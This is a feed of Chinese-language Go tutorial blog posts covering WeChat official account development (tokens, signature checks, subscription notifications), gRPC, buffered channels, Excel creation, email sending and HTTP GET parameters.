Golang on Dapeng Zhang

Golang之微信【订阅通知】开发 - 下

Tue, 05 Aug 2025 11:37:08 +0000

想要开发订阅通知的功能先要了解订阅通知开发的流程

第一步：发消息给用户
第二步：用户通过消息交互订阅通知
第三步：如果用户同意订阅通知，给用户发送通知消息

前面两步可以回顾前面发的文章

这里要说下，如何给订阅的用户发送消息

上一篇文章已经提到过如何处理用户的订阅信息

var wxSubscribe wx_subscribe.WxSubscribe

mysql.MasterCon().Where("openid = ?", openid).First(&wxSubscribe)

if wxSubscribe.Autokid == 0 {
 mysql.MasterCon().Create(&wx_subscribe.WxSubscribe{
 Action: action,
 Openid: openid,
 Scene: scene,
 TemplateId: templateId,
 Ctime: time.Now().Unix(),
 })
} else if wxSubscribe.Autokid > 0 && wxSubscribe.TheStatus == 1 {
 wxSubscribe.TheStatus = 0
 wxSubscribe.Ctime = time.Now().Unix()
 mysql.MasterCon().Save(wxSubscribe)
}

根据状态the_status查到订阅未发送消息的记录，根据记录中的openid，进行用户消息的发送

var wxSubscribe wx_subscribe.WxSubscribe
mysql.MasterCon().Where("the_status = ?", 0).First(&wxSubscribe)

进行下一步操作之前先看下需要什么接口，并且接口需要什么参数

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1711605780/xiaorongmao/2024-03-20_19-32.png "" %}

看下参数的说明

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1711605487/xiaorongmao/2024-03-20_19-32_1.png "" %}

先来获取下token

accessToken := getAccessToken()

关于获取token的方法参考这篇文章 Golang之微信【获取接口调用凭据】开发

url := "https://api.weixin.qq.com/cgi-bin/message/template/subscribe"
params := utils.H{
	"touser": openid,
	"template_id": templateId,
	"scene": scene,
	"title": "订阅测试",
	"data": utils.H{
		"content": utils.H{
			"value": "VALUE",
			"color": "COLOR",
		},
	},
}

创建请求地址和请求需要传递的参数

jsonEncodeData := utils.JsonEncode(params)
requestBody := strings.NewReader(jsonEncodeData)

参数类型转换

request, err := http.NewRequest("POST", url, requestBody)

if err != nil {
	log.ErrorLogger.H(tag, utils.H{"error": err})
	return
}

创建请求，同时检测是否有异常

q := request.URL.Query()
q.Add("access_token", accessToken)
request.URL.RawQuery = q.Encode()

添加token的请求参数，我用这个方式，是比较“科学”的方式，也可以在前面创建url参数的时候拼接下

Golang之微信【订阅通知】开发 - 上

Tue, 05 Aug 2025 11:37:05 +0000

想要开发订阅通知的功能先要了解订阅通知开发的流程

第一步：发消息给用户
第二步：用户通过消息交互订阅通知
第三步：如果用户同意订阅通知，给用户发送通知消息

发消息给用户的操作可以看我前面讲过的文章

微信公众号消息接收与回复golang代码演示

这里要说下，需要发什么消息给用户

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1710936271/xiaorongmao/20240320/2024-03-20_19-20.png "" %}

前面文章的代码片段

var item = []ReturnPicNewsItem{
 {
 Title: "xxx",
 Description: "xxx",
 PicUrl: "xxx.jpg",
 Url: "https://mp.weixin.qq.com/mp/subscribemsg?action=get_confirm&appid=xxx&scene=1000&template_id=xxx&redirect_url=xxx&reserved=xxx#wechat_redirect",
 },
}

主要是注意这里面的Url值

https://mp.weixin.qq.com/mp/subscribemsg?action=get_confirm&appid=xxx&scene=1000&template_id=xxx&redirect_url=xxx&reserved=xxx#wechat_redirect

这个是请求订阅的

请注意里面的几个参数

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1710936271/xiaorongmao/20240320/2024-03-20_19-31.png "" %}

好了到这里，只要消息发出去用户就可以收到了

用户收到消息之后，用户同意或取消授权后会返回相关信息，并把结果返回给上面步骤请求时添加的redirect_url对应的地址

会返回哪些参数

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1710936271/xiaorongmao/20240320/2024-03-20_19-31_1.png "" %}

下面看下如何来接收参数

params := c.Request.URL.Query()
action := params.Get("action")
openid := params.Get("openid")
reserved := params.Get("reserved")
scene := params.Get("scene")
templateId := params.Get("template_id")

拿到参数之后就可以进行相应的逻辑处理

比如我这里的操作

如果不是同意订阅操作我就直接返回消息订阅失败的页面

if action != "confirm" {
 c.HTML(http.StatusOK, "index.tmpl", gin.H{
 "title": "订阅未成功",
 })

 return
}

如果同意订阅的话，先判断是否曾经订阅过，没有订阅过，创建新的记录，并标记已订阅
如果订阅过，并且已经处理回复了订阅消息，则进行消息的更新
如果订阅过，并且还没进行回复，则直接返回消息订阅成功的页面

// 查询是否已经有了一个未处理的 防止重复

var wxSubscribe wx_subscribe.WxSubscribe

mysql.MasterCon().Where("openid = ?", openid).First(&wxSubscribe)

if wxSubscribe.Autokid == 0 {
 mysql.MasterCon().Create(&wx_subscribe.WxSubscribe{
 Action: action,
 Openid: openid,
 Scene: scene,
 TemplateId: templateId,
 Ctime: time.Now().Unix(),
 })
} else if wxSubscribe.Autokid > 0 && wxSubscribe.TheStatus == 1 {
 wxSubscribe.TheStatus = 0
 wxSubscribe.Ctime = time.Now().Unix()
 mysql.MasterCon().Save(wxSubscribe)
}

c.HTML(http.StatusOK, "index.tmpl", gin.H{
 "title": "订阅成功",
})

index.tmpl文件代码如下

<html>
 <head>
 <title>
 {{ .title }}
 </title>
 </head>

 <body>
 <h1 style='text-align:center'>
 {{ .title }}
 </h1>
 <p style='text-align:center'>订阅结果已收到，请关闭页面</p>
 </body>
</html>

接收订阅的消息逻辑处理步骤暂时就这些
后面我们梳理下如何对已经订阅的用户进行消息回复处理

Golang之微信【获取接口调用凭据】开发

Tue, 05 Aug 2025 11:37:02 +0000

开始前先看下文档

接口是GET请求，请求的接口地址是https://api.weixin.qq.com/cgi-bin/token

参数如下

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1710494151/xiaorongmao/24033-x-8224919063099.png "" %}

返回的参数如下

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1710494151/xiaorongmao/2024-03-15_17-11.png "" %}

根据以上的文档我们需要建立一个结构体

// TokenResponse 接收返回的参数 
type TokenResponse struct {
 AccessToken string `json:"access_token"`
 ExpiresIn int `json:"expires_in"`
 CurrentTime int64 `json:"current_time"` // 这个是逻辑需要，可以不加
}

这个TokenResponse就够用了，在golang中如何请求一个接口

url := "https://api.weixin.qq.com/cgi-bin/token"
client := &http.Client{}
params := utils.H{
 "grant_type": "client_credential",
 "appid": config.AppID,
 "secret": config.AppSecret,
}

req, err := http.NewRequest("GET", url, nil)

q := req.URL.Query()
for key, value := range params {
 q.Add(key, value.(string))
}
req.URL.RawQuery = q.Encode()

resp, err := client.Do(req)
if err != nil {
 log.InfoLogger.H(tag, utils.H{
 "error": err.Error(), "url": url})
 return
}

defer func(Body io.ReadCloser) {
 err := Body.Close()
 if err != nil {
 log.ErrorLogger.H(tag, gin.H{"error": err})
 }
}(resp.Body)

body, err := ioutil.ReadAll(resp.Body)
if err != nil {
 log.InfoLogger.H(tag, utils.H{
 "error": err.Error(), "url": url})
 return
}

以上代码，拿到body我们就获得了响应数据，如何把body的数据与结构体TokenResponse做数据交换

var res TokenResponse
err = json.Unmarshal(body, &res)

if err != nil {
 log.ErrorLogger.H(tag, gin.H{"error": err})
 return
}

以上的代码逻辑，就可以body的数据存到res中，之后就可以使用了，这块的底层逻辑大家喜欢的话可以自行查阅文档

log.InfoLogger.H(tag, utils.H{
 "access_token": res.AccessToken,
 "expires_in": res.ExpiresIn})

以上的逻辑看起来非常简单，其实主要是有几点
一是对文档的分析，确定好需要的数据结构
二是掌握http库的使用

以上只是部分代码完整代码如下

import (
	"xxx/config"
	"xxx/connections/redis"
	"xxx/modules/log"
	"xxx/modules/server"
	"xxx/modules/utils"
	"encoding/json"
	"github.com/gin-gonic/gin"
	"io"
	"io/ioutil"
	"net/http"
	"time"
)

type TokenResponse struct {
	AccessToken string `json:"access_token"`
	ExpiresIn int `json:"expires_in"`
	CurrentTime int64 `json:"current_time"`
}

func FetchAccessToken(c *server.Context) {
	tag := "FetchAccessToken"

	val, _ := redis.Get(tokenCacheKey(config.AppID))

	if val != "" {
		var res TokenResponse
		jsonErr := json.Unmarshal([]byte(val), &res)

		if jsonErr != nil {
			log.ErrorLogger.H(tag, gin.H{"error": jsonErr})
			return
		}

		log.InfoLogger.H(tag, utils.H{
			"cache_data": res})

		c.Success(res)
		return
	}

	url := "https://api.weixin.qq.com/cgi-bin/token"
	client := &http.Client{}
	params := utils.H{
		"grant_type": "client_credential",
		"appid": config.AppID,
		"secret": config.AppSecret,
	}

	req, err := http.NewRequest("GET", url, nil)

	q := req.URL.Query()
	for key, value := range params {
		q.Add(key, value.(string))
	}
	req.URL.RawQuery = q.Encode()

	resp, err := client.Do(req)
	if err != nil {
		log.InfoLogger.H(tag, utils.H{
			"error": err.Error(), "url": url})
		return
	}

	defer func(Body io.ReadCloser) {
		err := Body.Close()
		if err != nil {
			log.ErrorLogger.H(tag, gin.H{"error": err})
		}
	}(resp.Body)

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.InfoLogger.H(tag, utils.H{
			"error": err.Error(), "url": url})
		return
	}

	var res TokenResponse
	err = json.Unmarshal(body, &res)

	log.InfoLogger.H(tag, utils.H{
		"body": body,
		"res": res,
		"params": params,
		"query": req.URL.String()})

	if err != nil {
		log.ErrorLogger.H(tag, gin.H{"error": err})
		return
	}

	log.InfoLogger.H(tag, utils.H{
		"access_token": res.AccessToken,
		"expires_in": res.ExpiresIn})

	res.CurrentTime = time.Now().Unix()

	redis.Set(
		tokenCacheKey(config.AppID),
		utils.JsonEncode(res),
		time.Duration(res.ExpiresIn)*time.Second)

	c.Success(res)
	return
}

func tokenCacheKey(appId string) string {
	return "wx:" + appId + ":access_token"
}

这里我整合了redis，将拿到的数据放到了redis中

Golang之Buffer Channel的用法

Tue, 05 Aug 2025 11:36:58 +0000

预设一个这样的场景

我要运行一个脚本要一次运行多个是并发的但是我又想控制下并发量不要太多

比如我一次要运行10个，但是最多运行3个创建能放10个脚本的变量jobs

jobs := make(chan int, 10)

go func() {
 for i := 0; i < 10; i++ {
 jobs <- i + 1
 }
 close(jobs)
}()

创建最多能运行3个脚本的变量

works := make(chan struct{}, 3)

开始运行脚本

for job := range jobs {
 wg.Add(1)
 go func(job, i int) {
 works <- struct{}{} // 达到3个 就会阻塞卡住 等待执行完释放才能继续
 fmt.Printf("脚本 id %2d 开始运行 \n", job)

 // 模拟脚本运行过程
 duration := time.Second * time.Duration(job)
 time.Sleep(duration)

 <-works
 wg.Done()
 }(job, 1)
}

输出结果展示下

$ go run main.go
脚本 id 10 开始运行 
脚本 id 1 开始运行 
脚本 id 2 开始运行 
脚本 id 6 开始运行 
脚本 id 5 开始运行 
脚本 id 8 开始运行 
脚本 id 9 开始运行 
脚本 id 4 开始运行 
脚本 id 3 开始运行 
脚本 id 7 开始运行

完整代码贴出来

package main

import (
 "fmt"
 "sync"
 "time"
)

func main() {
 jobs := make(chan int, 10)
 works := make(chan struct{}, 3)

 wg := sync.WaitGroup{}

 go func() {
 for i := 0; i < 10; i++ {
 jobs <- i + 1
 }
 close(jobs)
 }()

 for job := range jobs {
 wg.Add(1)
 go func(job, i int) {
 works <- struct{}{} // 达到3个 就会阻塞卡住 等待执行完释放才能继续
 fmt.Printf("脚本 id %2d 开始运行 \n", job)

 // 模拟脚本运行过程
 duration := time.Second * time.Duration(job)
 time.Sleep(duration)

 <-works
 wg.Done()
 }(job, 1)
 }

 wg.Wait()

}

【go语言技术积累】初步使用grpc

Tue, 05 Aug 2025 11:36:55 +0000

使用grpc的要求

1、需要安装go语言

2、需要本地安装 Protocol buffer compiler

新建项目grpc_test并初始化git仓库

mkdir grpc_test && cd grpc_test && git init

进入到grpc_test目录

go mod init grpc_test

安装需要依赖的库

go get -u google.golang.org/grpc

创建目录hello_world/client，hello_world/server，hello_world/base

mkdir -p hello_world/client hello_world/server hello_world/base

进入base，创建文件base.proto，代码内容如下

syntax = "proto3";

option go_package = "grpc_test/hello_world/base";
option java_multiple_files = true;
option java_package = "io.grpc.examples.base";
option java_outer_classname = "HelloWorldProto";

package base;

// The greeting service definition.
service Greeter {
 // Sends a greeting
 rpc SayHello (HelloRequest) returns (HelloReply) {}
 rpc SayHelloAgain (HelloRequest) returns (HelloReply) {}
}

// The request message containing the user's name.
message HelloRequest {
 string name = 1;
}

// The response message containing the greetings
message HelloReply {
 string message = 1;
}

在hello_world目录下执行如下命令

protoc --go_out=. --go_opt=paths=source_relative \
 --go-grpc_out=. --go-grpc_opt=paths=source_relative \
 base/base.proto

会自动生成 base_grpc.pb.goh和base.pb.go

添加client端的代码

进入client，创建文件main.go，代码内容如下

package main

import (
	"context"
	"flag"
	"log"
	"time"

	"google.golang.org/grpc"
	"google.golang.org/grpc/credentials/insecure"
	pb "grpc_test/hello_world/base"
)

const (
	defaultName = "world"
)

var (
	addr = flag.String("addr", "localhost:50051", "the address to connect to")
	name = flag.String("name", defaultName, "Name to greet")
)

func main() {
	flag.Parse()
	// Set up a connection to the server.
	conn, err := grpc.Dial(*addr, grpc.WithTransportCredentials(insecure.NewCredentials()))
	if err != nil {
		log.Fatalf("did not connect: %v", err)
	}
	defer conn.Close()
	c := pb.NewGreeterClient(conn)

	// Contact the server and print out its response.
	ctx, cancel := context.WithTimeout(context.Background(), time.Second)
	defer cancel()
	r, err := c.SayHello(ctx, &pb.HelloRequest{Name: *name})
	if err != nil {
		log.Fatalf("could not greet: %v", err)
	}
	log.Printf("Greeting: %s", r.GetMessage())

	r, err = c.SayHelloAgain(ctx, &pb.HelloRequest{Name: *name})
	if err != nil {
		log.Fatalf("could not greet: %v", err)
	}
	log.Printf("Greeting: %s", r.GetMessage())
}

进入server，创建文件main.go，代码内容如下

package main

import (
	"context"
	"flag"
	"fmt"
	"google.golang.org/grpc"
	"log"
	"net"
	pb "grpc_test/hello_world/base"
)

var (
	port = flag.Int("port", 50051, "The server port")
)

// server
type server struct {
	pb.UnimplementedGreeterServer
}

// SayHello implements base.GreeterServer
func (s *server) SayHello(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) {
	log.Printf("Received: %v", in.GetName())
	return &pb.HelloReply{Message: "Hello " + in.GetName()}, nil
}

func (s *server) SayHelloAgain(ctx context.Context, in *pb.HelloRequest) (*pb.HelloReply, error) {
	log.Printf("Received: %v", in.GetName())
	return &pb.HelloReply{Message: "Hello again " + in.GetName()}, nil
}

func main() {
	flag.Parse()
	lis, err := net.Listen("tcp", fmt.Sprintf(":%d", *port))
	if err != nil {
		log.Fatalf("failed to listen: %v", err)
	}
	s := grpc.NewServer()
	pb.RegisterGreeterServer(s, &server{})
	log.Printf("server listening at %v", lis.Addr())
	if err := s.Serve(lis); err != nil {
		log.Fatalf("failed to serve: %v", err)
	}
}

上述步骤完成后执行server端命令

go run server/main.go

然后在执行client端命令

go run client/main.go -name=durban

server端会输出

$ go run server/main.go
2023/12/05 16:52:36 server listening at [::]:50051
2023/12/05 16:52:51 Received: durban
2023/12/05 16:52:51 Received: durban

client端会输出

$ go run ./client/main.go -name=durban 
2023/12/05 16:52:51 Greeting: Hello durban
2023/12/05 16:52:51 Greeting: Hello again durban

注意这里的grpc_test可以改为自己想用的名称

关于grpc的文章

HTTP、WebSocket、gRPC 或 WebRTC：哪种通信协议最适合您的应用程序？

使用gRPC创建简单聊天程序

基于 gRPC 的聊天室实现

实战gRPC四种通信模式

golang创建Excel表格

Tue, 05 Aug 2025 11:36:52 +0000

golang创建Excel表格

使用的库是excelize

地址：https://github.com/360EntSecGroup-Skylar/excelize

代码演示

package main

import (
	"fmt"
	"github.com/360EntSecGroup-Skylar/excelize/v2"
)

func main() {
	f := excelize.NewFile()

	// 选择默认表 Sheet1
	streamWriter, err := f.NewStreamWriter("Sheet1")
	if err != nil {
		fmt.Println(err)
		return
	}

	// 表头
	excelHeader := []interface{}{
		excelize.Cell{Value: "年龄"},
		excelize.Cell{Value: "名字"},
		excelize.Cell{Value: "生日"},
		excelize.Cell{Value: "国籍"},
	}

	// 生成CellName 比如 A1
	headerCellName, err := excelize.CoordinatesToCellName(1, 1)
	if err != nil {
		fmt.Println(err)
		return
	}

	// 写表头
	if err := streamWriter.SetRow(headerCellName, excelHeader); err != nil {
		fmt.Println(err)
		return
	}

	row := []interface{}{
		"45",
		"名字1",
		"2023-12-12",
		"中国",
	}

	//生成CellName 比如 A2
	cell, err := excelize.CoordinatesToCellName(1, 2)
	if err != nil {
		fmt.Println(err)
		return
	}

	if err := streamWriter.SetRow(cell, row); err != nil {
		fmt.Println(err)
		return
	}

	//
	if err := streamWriter.Flush(); err != nil {
		fmt.Println(err)
		return
	}

	// 保存文件
	if err := f.SaveAs("sheet1.xlsx"); err != nil {
		fmt.Println(err)
		return
	}

	fmt.Println("保存成功")

}

微信公众号消息接收与回复golang代码演示

Tue, 05 Aug 2025 09:49:14 +0000

微信公众号消息接收与回复golang代码演示

首先如何解决收到的消息

先看一下接收到的消息结构体

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1709118226/2024-02-28_18-02.png "" %}

根据上面的消息可以试着建立如下的结构体

type ReceiveData struct {
 ToUserName string `xml:"ToUserName"`
 FromUserName string `xml:"FromUserName"`
 CreateTime string `xml:"CreateTime"`
 MsgType string `xml:"MsgType"`
 Content string `xml:"Content"`
 MsgId string `xml:"MsgId"`
 MsgDataId string `xml:"MsgDataId"`
 Idx string `xml:"Idx"`
}

结构体建立后，如果来解析数据，这里我用到的是gin这个框架

var receiveData ReceiveData
c.BindXML(&receiveData)

通过上面的代码直接绑定就可以了

调用变量的值可以通过receiveData.MsgType就可以了其他的类似

如果说接收到消息后就完事了，好像还是缺少点什么，那就是回复消息

根据回复消息的喜好，我比较喜欢图文的方式

来看下回复图文消息的结构

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1709118226/2024-02-28_18-10.png "" %}

需要建立如下的结构体

图文消息信息是一个列表，那么列表中的单个结构体可以建立如下的结构

type ReturnPicNewsItem struct {
 Title string `xml:"Title"`
 Description string `xml:"Description"`
 PicUrl string `xml:"PicUrl"`
 Url string `xml:"Url"`
}

消息列表结构体如下

type ReturnPicNewsNode struct {
 Item []ReturnPicNewsItem `xml:"item"`
}

整体的消息结构体如下

type ReturnPicNewsData struct {
 XMLName xml.Name `xml:"xml"`
 ToUserName string `xml:"ToUserName"`
 FromUserName string `xml:"FromUserName"`
 CreateTime int64 `xml:"CreateTime"`
 MsgType string `xml:"MsgType"`
 ArticleCount int `xml:"ArticleCount"`
 Articles ReturnPicNewsNode `xml:"Articles"`
}

根据上面的逻辑简单写一个小逻辑，比如根据消息的内容是”xxxxx“来返回一个图文消息

if receiveData.MsgType == "text" && receiveData.Content == "xxxxx" {
 var item = []ReturnPicNewsItem{
 {
 Title: "xxx",
 Description: "xxx",
 PicUrl: "xxx.jpg",
 Url: "https://mp.weixin.qq.com/mp/subscribemsg?action=get_confirm&appid=xxx&scene=1000&template_id=xxx&redirect_url=xxx&reserved=xxx#wechat_redirect",
 },
 }

 var node = ReturnPicNewsNode{
 Item: item,
 }

 var message = ReturnPicNewsData{
 ToUserName: receiveData.FromUserName,
 FromUserName: receiveData.ToUserName,
 CreateTime: time.Now().Unix(),
 MsgType: "news",
 ArticleCount: 1,
 Articles: node,
 }

 log.InfoLogger.H(tag, utils.H{
 "message": message,
 })

 c.XML(http.StatusOK, message)
}

在gin的加持下，逻辑写起来还是比较顺手的

整体的代码逻辑如下，仅供参考

import (
	"xxx/modules/log"
	"xxx/modules/server"
	"xxx/modules/utils"
	"encoding/xml"
	"net/http"
	"time"
)

func Message(c *server.Context) {
	type ReceiveData struct {
		ToUserName string `xml:"ToUserName"`
		FromUserName string `xml:"FromUserName"`
		CreateTime string `xml:"CreateTime"`
		MsgType string `xml:"MsgType"`
		Content string `xml:"Content"`
		MsgId string `xml:"MsgId"`
		MsgDataId string `xml:"MsgDataId"`
		Idx string `xml:"Idx"`
	}

	var receiveData ReceiveData

	c.BindXML(&receiveData)

	tag := "Message"
	//body := c.Request.Body

	log.InfoLogger.H(tag, utils.H{
		"body": c.Request.Body,
		"xml": receiveData,
	})

	type ReturnData struct {
		XMLName xml.Name `xml:"xml"`
		ToUserName string `xml:"ToUserName"`
		FromUserName string `xml:"FromUserName"`
		CreateTime int64 `xml:"CreateTime"`
		MsgType string `xml:"MsgType"`
		Content string `xml:"Content"`
	}

	type ReturnPicNewsItem struct {
		Title string `xml:"Title"`
		Description string `xml:"Description"`
		PicUrl string `xml:"PicUrl"`
		Url string `xml:"Url"`
	}

	type ReturnPicNewsNode struct {
		Item []ReturnPicNewsItem `xml:"item"`
	}

	type ReturnPicNewsData struct {
		XMLName xml.Name `xml:"xml"`
		ToUserName string `xml:"ToUserName"`
		FromUserName string `xml:"FromUserName"`
		CreateTime int64 `xml:"CreateTime"`
		MsgType string `xml:"MsgType"`
		ArticleCount int `xml:"ArticleCount"`
		Articles ReturnPicNewsNode `xml:"Articles"`
	}

	if receiveData.MsgType == "text" && receiveData.Content == "xxxxx" {
		var item = []ReturnPicNewsItem{
			{
				Title: "xxx",
				Description: "xxx",
				PicUrl: "xxx.jpg",
				Url: "https://mp.weixin.qq.com/mp/subscribemsg?action=get_confirm&appid=xxx&scene=1000&template_id=xxx&redirect_url=xxx&reserved=xxx#wechat_redirect",
			},
		}

		var node = ReturnPicNewsNode{
			Item: item,
		}

		var message = ReturnPicNewsData{
			ToUserName: receiveData.FromUserName,
			FromUserName: receiveData.ToUserName,
			CreateTime: time.Now().Unix(),
			MsgType: "news",
			ArticleCount: 1,
			Articles: node,
		}

		log.InfoLogger.H(tag, utils.H{
			"message": message,
		})

		c.XML(http.StatusOK, message)
	} else {
		var message = ReturnData{
			ToUserName: receiveData.FromUserName,
			FromUserName: receiveData.ToUserName,
			CreateTime: time.Now().Unix(),
			MsgType: "text",
			Content: "欢迎",
		}

		c.XML(http.StatusOK, message)
	}
}

微信公众号验证服务器地址的有效性的golang版本实现演示

Tue, 05 Aug 2025 09:49:11 +0000

微信公众号验证服务器地址的有效性的golang版本代码实现演示

接入微信公众平台开发，填写服务器配置是必须的步骤，也是第一步

下面用Golang实现验证的环节

这里使用的是gin框架，免去了自己做服务底层的麻烦

首先看下，我们要写的接口具体接收哪些参数

{% img https://res.cloudinary.com/dy5dvcuc1/image/upload/v1709541130/xiaorongmao/2024-03-04_16-12.png "" %}

从文档的上可以总结出，微信会发送四个参数

echostr
nonce
signature
timestamp

要注意这里是使用GET请求的

echostr := c.Request.URL.Query().Get("echostr")
nonce := c.Request.URL.Query().Get("nonce")
signature := c.Request.URL.Query().Get("signature")
timestamp := c.Request.URL.Query().Get("timestamp")

看下加密/校验流程：

1）将token、timestamp、nonce三个参数进行字典序排序

tmpSlice := []string{
 token,
 timestamp,
 nonce,
}

sort.Strings(tmpSlice)

2）将三个参数字符串拼接成一个字符串进行sha1加密

tmpStr := strings.Join(tmpSlice, "")

h := sha1.New()
_, err := io.WriteString(h, tmpStr)
if err != nil {
 return
}
sign := hex.EncodeToString(h.Sum(nil))

3）开发者获得加密后的字符串可与signature对比，标识该请求来源于微信，并且返回 echostr

if sign == signature {
 c.Data(200, "text/html; charset=utf-8", []byte(echostr))
 return
}

完整的代码如下

import (
	"crypto/sha1"
	"xxx/config"
	"xxx/modules/log"
	"xxx/modules/server"
	"xxx/modules/utils"
	"encoding/hex"
	"io"
	"sort"
	"strings"
)

func Check(c *server.Context) {
	log.InfoLogger.H("Check", utils.H{
		"query": c.Request.URL.Query(),
	})

	echostr := c.Request.URL.Query().Get("echostr")
	nonce := c.Request.URL.Query().Get("nonce")
	signature := c.Request.URL.Query().Get("signature")
	timestamp := c.Request.URL.Query().Get("timestamp")

	token := config.Token

	tmpSlice := []string{
		token,
		timestamp,
		nonce,
	}

	sort.Strings(tmpSlice)

	tmpStr := strings.Join(tmpSlice, "")

	h := sha1.New()
	_, err := io.WriteString(h, tmpStr)
	if err != nil {
		return
	}
	sign := hex.EncodeToString(h.Sum(nil))

	if sign == signature {
		log.InfoLogger.H("Check", utils.H{
			"status": "ok",
		})

		c.Data(200, "text/html; charset=utf-8", []byte(echostr))
		return
	}

	c.Data(200, "text/html; charset=utf-8", []byte("fail"))
	return
}

golang发送邮件功能代码演示

Tue, 05 Aug 2025 09:48:55 +0000

import (
	"xxxx/config"
	"github.com/jordan-wright/email"
	"log"
	"net/smtp"
)

// Send smtp send
func Send(senderTitle, mailTo, mailToSubj string, text, html []byte) error {

	emailHost := config.EmailSmtpHost
	emailPort := config.EmailSmtpPort
	emailUser := config.EmailSmtpUsername
	emailAuthPassword := config.EmailSmtpPassword

	//fmt.Printf("emailHost = %s emailPort = %s emailUser = %s emailAuthPassword = %s", emailHost, emailPort, emailUser, emailAuthPassword)

	e := email.NewEmail()
	e.From = senderTitle + " <" + emailUser + ">"
	e.To = []string{mailTo}
	e.Bcc = []string{mailTo}
	e.Cc = []string{mailTo}
	e.Subject = mailToSubj
	e.Text = text //[]byte("Text Body is, of course, supported!")
	e.HTML = html // []byte("<h1>Fancy HTML is supported, too!</h1>")
	err := e.Send(emailHost+":"+emailPort, smtp.PlainAuth("", emailUser, emailAuthPassword, emailHost))

	if err != nil {
		log.Panic(err)

		return err
	}

	return nil
}

使用的是github.com/jordan-wright/email

这个比较好用，效果见效快

golang 字符串替换使用strings.replacer 替换为 strings.replace

Tue, 05 Aug 2025 09:48:52 +0000

golang 字符串替换使用strings.replacer 替换为 strings.replace

strings.replace的使用方式

package main

import (
	"fmt"
	"strings"
)

func main() {
	str := "aaa bbb ddd fff aaa"
	keyword := "aaa"
	str = strings.ReplaceAll(str, keyword, "**")

	fmt.Println(str)
}

strings.replacer的使用方式

package main

import (
	"fmt"
	"strings"
)

func main() {
	str := "aaa bbb ddd fff aaa"
	keyword := "aaa"
	replacer := strings.NewReplacer(keyword, "**")
	str = replacer.Replace(str)

	fmt.Println(str)
}

为什么要替换

“we see that Replacecreates more runtime memory allocations than New Replacer.”

参考：

https://medium.com/@vikram.ingawale91/golang-strings-replace-vs-strings-replacer-a7b2d2b71593

https://levelup.gitconnected.com/multi-string-replace-in-golang-with-replacer-148d4173f439

golang中get请求

Tue, 05 Aug 2025 09:48:48 +0000

调用第三方的接口服务的时候，有时候会发现明明我发起的是带有参数的get请求为什么对方收不到参数，我自己测试了下也有遇到过类似的情况

主要原因是对请求参数的数据格式傻傻分不清

下面记录了一段代码

package main

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"net/http"
	"strings"
)

func main() {
	client := &http.Client{}

	params := map[string]interface{}{
		"p1": "",
		"p2": "",
	}

	data := jsonEncode(params)

	payload := strings.NewReader(data)
	req, reqError := http.NewRequest("GET", "https://goplay.tools/", payload)

	if reqError != nil {
		fmt.Println(reqError.Error())
		return
	}

	resp, doError := client.Do(req)

	if doError != nil {
		fmt.Println(doError.Error())
		return
	}

	defer resp.Body.Close()

	body, readError := ioutil.ReadAll(resp.Body)

	if readError != nil {
 fmt.Println(readError.Error())
		return
	}

	var res interface{}

	json.Unmarshal(body, &res)

	fmt.Println("output")
	fmt.Println(res)

}

func jsonEncode(v interface{}) string {
	bt, err := json.Marshal(v)

	if err != nil {
		return ""
	}

	return string(bt)
}

本来的意思是，我像给这个网址发送一个请求，并且带上参数p1和p2

但是实际上那个网址什么也没有收到，经过几次排查，这段代码是给指定网址发送了一个get请求，body的部分是一个json字符串

正确的操作如下

package main

import (
	"encoding/json"
	"fmt"
	"io/ioutil"
	"net/http"
)

func main() {
	client := &http.Client{}

	params := map[string]interface{}{
		"p1": "",
		"p2": "",
	}

	req, reqError := http.NewRequest("GET", "https://goplay.tools/", nil)

	if reqError != nil {
		fmt.Println(reqError.Error())
		return
	}

	query := req.URL.Query()
	for key, value := range params {
		query.Add(key, value.(string))	
	}
	req.URL.RawQuery = query.Encode()

	resp, doError := client.Do(req)

	if doError != nil {
		fmt.Println(doError.Error())
		return
	}

	defer resp.Body.Close()

	body, readError := ioutil.ReadAll(resp.Body)

	if readError != nil {
 fmt.Println(readError.Error())
		return
	}

	var res interface{}

	json.Unmarshal(body, &res)

	fmt.Println("output")
	fmt.Println(res)

}

func jsonEncode(v interface{}) string {
	bt, err := json.Marshal(v)

	if err != nil {
		return ""
	}

	return string(bt)
}

Go 1.21.0 版本发布

Tue, 05 Aug 2025 09:48:45 +0000

Go 1.21 版本发布

官方发布时间：2023年08月08日

详情链接点击这里查询

更多发布的信息请点击这里

如果想下载的话请点击这里

go1.21.0 (released 2023-08-08)

Go 1.21.0 is a major release of Go. Read the Go 1.21 Release Notes for more information.

Golang开发之Sublime Text 3环境开发配置（GoSublime + LSP）

Tue, 05 Aug 2025 09:48:42 +0000

之所以在折腾Sublime Text 3是因为这个编辑器，是真的轻量化，现在总结下来，插件配置的好，管理的好，什么电脑性能瓶颈都是扯淡

Sublime Text 3开始用来开发Golang的时候，发现这个东西配置起来确实啰嗦，
因为要安装很多插件，最后的效果也是比较卡或者根本就不起作用。
后来网上看了很多在用VScode，于是也开始用VScode来开发Golang，但是经过一段时间，忍受不了VSCode的卡，不知道不是占用内存还是什么原因，总之如果开启两个项目的时候，创建个golang文件，保存的时候，就会卡在Language Server上，具体原因我也没细查，但是我搜索到了一个叫做LSP的东西，我猜测这个玩意应该是个插件

经过百度，google之后，确实有这个东西，解释如下

LSP，全称 Language Server Protocol，即语言服务器协议，这是微软创建的一个协议（目前已有 Codenvy，Red Hat 和 Sourcegraph 等公司一起支持它的发展）。定义了在编辑器或 IDE 中与语言服务器之间使用的协议，该语言服务器提供诸如自动完成，转到定义，查找所有引用等语言功能。语言服务器索引格式（LSIF，其发音类似于“ else if”）的目标是支持开发工具或 Web UI 中的富代码导航，而不需要源代码的本地副本。

目前该协议得到了编辑器和语言社区的广泛支持。

LSP 的官方网站：点这里，GitHub 地址：点这里。目前最新版本（2020-09-06）：3.15。

— 来源于网络

